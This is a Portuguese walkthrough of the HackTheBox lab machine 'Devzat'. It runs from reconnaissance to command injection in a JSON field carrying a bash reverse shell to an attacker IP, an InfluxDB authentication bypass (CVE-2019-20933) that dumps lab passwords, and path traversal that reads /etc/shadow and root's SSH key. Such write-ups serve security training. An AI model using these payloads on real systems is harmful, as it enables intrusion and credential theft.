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# Relato do HackTheBox Devzat

{% embed url="<https://app.hackthebox.com/machines/398>" %}

{% hint style="warning" %}
**Habilidades:**

* Diretório de Fuzzing
* Injeção na Web (RCE)
* Explorando o InfluxDB (CVE-2019-20933)
* Explorando o comando /file do Devzat Chat (Escalação de Privilégios)
  {% endhint %}

## Reconhecimento:

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/686f8e2d0eb2538a5d4ba0396f5a18d78e0ef9c5" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/7f8350f13ad96d3d9ad79dd5ef36ab9f810dfa36" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.118 -oG allPorts
```

<figure><img src="/files/2b53d8603488e9f76eb5b02d144475205ee2d723" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Usando a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (22.80.8000)

<figure><img src="/files/3fcac1139f2dbd9b09b3f3a0d0da907e5f357d7d" alt="" width="563"><figcaption></figcaption></figure>

Varredura de versão de portas com Nmap:

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p22,80,8000 10.10.11.118 -oN targeted
```

<figure><img src="/files/4ccfdf0324ca8fa6d02a73c19fee5c2bb78da8b4" alt=""><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP é inserido no `/etc/hosts` arquivo:

<figure><img src="/files/0a02937f372f172bf3bb0da11ec271ae0beaa837" alt="" width="539"><figcaption></figcaption></figure>

### Porta 80

<figure><img src="/files/4749370118e0f5861e28642fc263b04a75029bd5" alt=""><figcaption></figcaption></figure>

Usando `whatweb`, encontramos um e-mail associado ao site: `patrick@devzat.htb`.

<figure><img src="/files/775d56280d4be84f90a607719bd973c20d675a44" alt=""><figcaption></figcaption></figure>

A aplicação também nos informa que podemos usar a porta 8000 para conectar via SSH ao "chat":

```bash
ssh -l [username] devzat.htb -p 8000 
```

<figure><img src="/files/d310db7bc1e1e3d56d2b5c20990dd761654ef535" alt=""><figcaption></figcaption></figure>

### Porta 8000:

Tentamos nos conectar, mas ocorre um problema porque é necessária uma chave SSH:

```bash
ssh -l jordan devzat.htb -p 8000
```

<figure><img src="/files/9fee4d9cef8275da5f21bc927b8f1e68d530d79e" alt=""><figcaption></figcaption></figure>

**Forçando temporariamente o uso de SSH-RSA:** Especificamos o tipo de chave SSH a ser usado nesta sessão com a seguinte opção:

```bash
ssh -l jordan devzat.htb -p 8000 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa
```

<figure><img src="/files/fb3922210fa0b64ac0914eca01f7b7314068ce95" alt=""><figcaption></figcaption></figure>

### **Projeto Devzat (Chat SSH) :**

{% hint style="info" %}
Devzat é um servidor SSH personalizado que se conecta a um chat em vez de um prompt de comando. Como aplicações SSH estão disponíveis em todas as plataformas (incluindo celulares), você pode se conectar ao Devzat a partir de qualquer dispositivo.
{% endhint %}

Aqui está uma lista de comandos que podem ser executados neste chat:

<figure><img src="/files/d6d6e6f34f938bb1d23fc112f22372a855fb5e38" alt=""><figcaption></figcaption></figure>

### Fuzzing **de diretórios:**

Usamos `gobuster` para listar diretórios no site:

```bash
gobuster dir -u http://devzat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Nenhum resultado interessante foi encontrado.

<figure><img src="/files/aba358d65f16b896e4bd18a93dd3a3eea7454c86" alt=""><figcaption></figcaption></figure>

### **Fuzzing de subdomínios**

Pesquisamos subdomínios com `gobuster`:

```bash
gobuster vhost -u http://devzat.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -Ev "403|302"
```

Descobrimos o `pets.devzat.htb` subdomínio e adicioná-lo ao `/etc/hosts` arquivo.

<figure><img src="/files/34d9161d3b016b8caa26d51e0ac2ffd2adf02cd5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/acc69518d8f7c087a4fae1ad55c0cccbd3e51bd9" alt=""><figcaption></figcaption></figure>

## **Vulnerabilidade (RCE) JSON :**

<figure><img src="/files/2067c8397aadea0afdc51fb778798eabaad3eb2f" alt=""><figcaption></figcaption></figure>

Temos a possibilidade de adicionar "pets" com suas espécies, o que permite uma injeção JSON.

<figure><img src="/files/4b342537822adb337f72f7a56e67d0de04b90a17" alt=""><figcaption></figcaption></figure>

Interceptamos requisições com o Burp Suite e tentamos manipular a requisição adicionando uma entrada com nome e espécie:

<figure><img src="/files/6b071e124273c4fa3bc07797c956048bc5235458" alt=""><figcaption></figcaption></figure>

Essa entrada é interpretada, permitindo uma injeção.

```json
{
    "Nome": "jordan",
    "Espécie": "jordan"
}
```

<figure><img src="/files/bb55c5df71ac6219c4e16eb23d5e3b83a876e8cb" alt=""><figcaption></figcaption></figure>

Escutamos trilhas ICMP para observar comunicações e testar injeções de comandos:

```bash
sudo tcpdump -i tun0 icmp
```

Recebemos um ping de volta, o que confirma a possibilidade de execução remota de código.

<figure><img src="/files/bfc2cab86e30097fe3eac09c6008760875df6e4b" alt=""><figcaption></figcaption></figure>

Então enviamos uma requisição com `curl` para o nosso servidor Python e também recebemos uma requisição, o que confirma a vulnerabilidade de execução remota de código.

```bash
{
    "Nome": "jordan",
    "Espécie": "test;bash -c \"bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261\""
}
```

<figure><img src="/files/901e599f495e70cd999ba45ea11099cac18d8087" alt="" width="502"><figcaption></figcaption></figure>

### Shell reverso

Tentamos criar uma reverse shell:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261"
```

No entanto, ocorre um erro na saída.

<figure><img src="/files/22d36eef2007ddb64c19cd3fc9d3d9fe2702b12c" alt=""><figcaption></figcaption></figure>

**Solução do erro (reverse shell):** Para resolver esse erro, criamos um arquivo HTML contendo a reverse shell, que codificamos em base64:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.12/443 0>&1
```

Convertendo esse arquivo para base64:

```bash
base64 -w 0 index.html
```

<figure><img src="/files/4299245ffaee78cb8a63c7b90623bfa9f96f6c4b" alt="" width="563"><figcaption></figcaption></figure>

Na consulta, executamos o echo da string base64 codificada e a decodificamos antes de executar o shell:

{% code overflow="wrap" %}

```bash
{
    "Nome": "jordan",
    "Species": "test;echo IyEvYmluL2Jhc2ggCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIvNDQzIDA+JjEK | base64 -d | bash"
}
```

{% endcode %}

Mais uma vez, escutamos a porta 443 e obtemos uma shell invertida.

<figure><img src="/files/d51d75e40e8d177f3e630c18c7e3f8f44ac51f4d" alt=""><figcaption></figcaption></figure>

#### **Manipulação do terminal:**

Para estabilizar nossa sessão, usamos os seguintes comandos:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Escalada de privilégios <a href="#privilege-escalation" id="privilege-escalation"></a>

Observamos a necessidade de privilégios elevados. Precisamos fazer pivot para obter acesso à `catherine` conta de usuário.

<figure><img src="/files/058d3bd93295a4786b2862204b2ba8c483621b60" alt="" width="563"><figcaption></figcaption></figure>

#### Identificação de Portas Abertas

Primeiro, observamos as portas abertas internamente usando o seguinte comando:

```bash
netstat -nltp
```

As portas abertas são:

* 8086
* 8443
* 5000

<figure><img src="/files/526fccb7bbab08c115cd6f412e7cff961ca4661c" alt=""><figcaption></figcaption></figure>

### Redirecionamento de Portas (SSH)

Redirecionamos portas internas para nossa máquina de ataque usando a chave privada do usuário e aplicando as permissões corretas:

```bash
chmod 600 id_rsa
```

<figure><img src="/files/ce8c7dab7fe12b61722da6eb57b573976c65edac" alt=""><figcaption></figcaption></figure>

```bash
sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa
```

Então usamos `nmap` para escanear as portas redirecionadas:

```bash
nmap -sCV -p5000,8443,8086 localhost -oN targeted
```

### Porta 5000:

<figure><img src="/files/f55c4571d86c160754cae90ed30ca59548467606" alt=""><figcaption></figcaption></figure>

Observamos que essa porta está ligada ao mesmo serviço encontrado na porta 8000, o que não nos dá um caminho adicional de exploração.

<figure><img src="/files/e1e34dde0eb426da5f71ba8725abea9843fe463b" alt=""><figcaption></figcaption></figure>

### **Porta 8086 (InfluxDB)**

O serviço na porta 8086 é o InfluxDB, versão 1.7.5. Identificamos uma vulnerabilidade de Execução Remota de Código (RCE) no InfluxDB:

<figure><img src="/files/5f55b9af6acc2db9745f9147688edc7c8d7f1700" alt=""><figcaption></figcaption></figure>

**Vulnerabilidade :** [CVE-2019-20933](https://nvd.nist.gov/vuln/detail/CVE-2019-20933)

{% embed url="<https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933>" %}

{% hint style="info" %}
Essa vulnerabilidade permite contornar a autenticação usando um token JWT cujo `SharedSecret` está vazio (também conhecido como segredo compartilhado), o que nos dá acesso ao banco de dados.
{% endhint %}

<figure><img src="/files/da5aa73e6d0e19751cb62267ca8b345473acc81a" alt=""><figcaption></figcaption></figure>

#### Acesso ao banco de dados

Uma vez conectado ao InfluxDB, listamos os bancos de dados disponíveis:

```sql
SHOW DATABASES;
```

Selecionamos o `devzat` banco de dados e exploramos os dados dos usuários. Começamos listando as "medidas" (tabelas):

```sql
SHOW MEASUREMENTS;
```

O **`usuário`** contém informações úteis. Para explorar as colunas dessa medida, executamos:

```sql
SHOW FIELD KEYS FROM "user";
```

Em seguida, exibimos os 10 primeiros resultados para a `usuário` tabela:

```sql
SELECT * FROM "user" LIMIT 10;
```

<table data-header-hidden><thead><tr><th width="357"></th><th></th></tr></thead><tbody><tr><td><strong>senha</strong></td><td><strong>nome de usuário</strong></td></tr><tr><td>WillyWonka2021</td><td>wilhelm</td></tr><tr><td>woBeeYareedahc7Oogeephies7Aiseci</td><td>catherine</td></tr><tr><td>RoyalQueenBee$</td><td>charles</td></tr></tbody></table>

A senha da usuária catherine é **`woBeeYareedahc7Oogeephies7Aiseci`**, o que nos permite recuperar a **flag** usuário.

### Flag user.txt :)

Conseguimos acesso com sucesso e fazemos pivot como `catherine`.

<figure><img src="/files/6ef69b130dfa47458ceb3d861056f24597b38180" alt="" width="563"><figcaption></figcaption></figure>

### Porta 8443 (Devzat - Produção)

A porta 8443 é dedicada a uma instância de produção do Devzat. Observamos que um `arquivo` parâmetro lista todos os arquivos do sistema como root. No entanto, o acesso a esse recurso é protegido por senha.

<figure><img src="/files/361d94d37f04cd43560ce4465696a3b9899d9a3c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ea620db01fcfc3f2319fe3ddbb0cd92efc007fde" alt=""><figcaption></figcaption></figure>

Tentamos usar a senha da catherine, mas falha. Agora precisamos procurar arquivos que catherine possa ler no sistema.

<figure><img src="/files/d6851cb6fc2d2ef561a65d8a3cb1e5a9b36a172e" alt="" width="538"><figcaption></figcaption></figure>

### Procurar Arquivos Acessíveis pela Catherine

Usamos o seguinte comando para procurar todos os arquivos legíveis pela catherine:

```bash
find / -user catherine -readable 2>/dev/null | grep -vE "cgroup|proc"
```

Encontramos dois `.zip` arquivos de backup:

* `/var/backups/devzat-main.zip`
* `/var/backups/devzat-dev.zip`

Baixamos o arquivo `devzat-dev.zip` arquivo de backup e filtramos seu conteúdo em busca de senhas. Encontramos uma senha útil: **`CeilingCatStillAThingIn2021?`**.

<figure><img src="/files/14d8ad72d1488c687eefda907146c7b5ee1f2ae2" alt=""><figcaption></figcaption></figure>

Em seguida, tentamos usar essa senha para acessar o `/etc/shadow` arquivo via o `arquivo` parâmetro:

```bash
/file /etc/shadows CeilingCatStillAThingIn2021?
```

Embora a senha esteja correta, um **caminho relativo** é necessário para obter acesso total. Usamos o seguinte comando para navegar pelo sistema de arquivos:

<figure><img src="/files/b85b9a06a4980f55c4a75a207cc79ccfbed12fed" alt=""><figcaption></figcaption></figure>

```bash
/file ../../../../etc/shadow CeilingCatStillAThingIn2021?
```

Conseguimos exibir o `/etc/shadow` arquivo como root.

<figure><img src="/files/d42c7c3cb3a9c4992b90e59fba0a2f4c6f690e79" alt=""><figcaption></figcaption></figure>

### Acesso SSH como Root

Por fim, usamos um caminho relativo adicional para acessar a chave SSH do root:

```bash
/file ../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021?
```

<figure><img src="/files/017cadc67a8c7a0c9dbdb18ddc7d07d75d0ce324" alt="" width="563"><figcaption></figcaption></figure>

Baixamos a chave SSH e nos conectamos como root.

<figure><img src="/files/c75ba97d03c59090b3e7eda3388aea79ec4491e1" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/1209b7a1952dc0705028e805b4e40bf4e68bb594" alt="" width="470"><figcaption></figcaption></figure>

<figure><img src="/files/aed5c0b0ae05bdca1fdf75da7fcac9266b0a173f" alt="" width="542"><figcaption></figcaption></figure>


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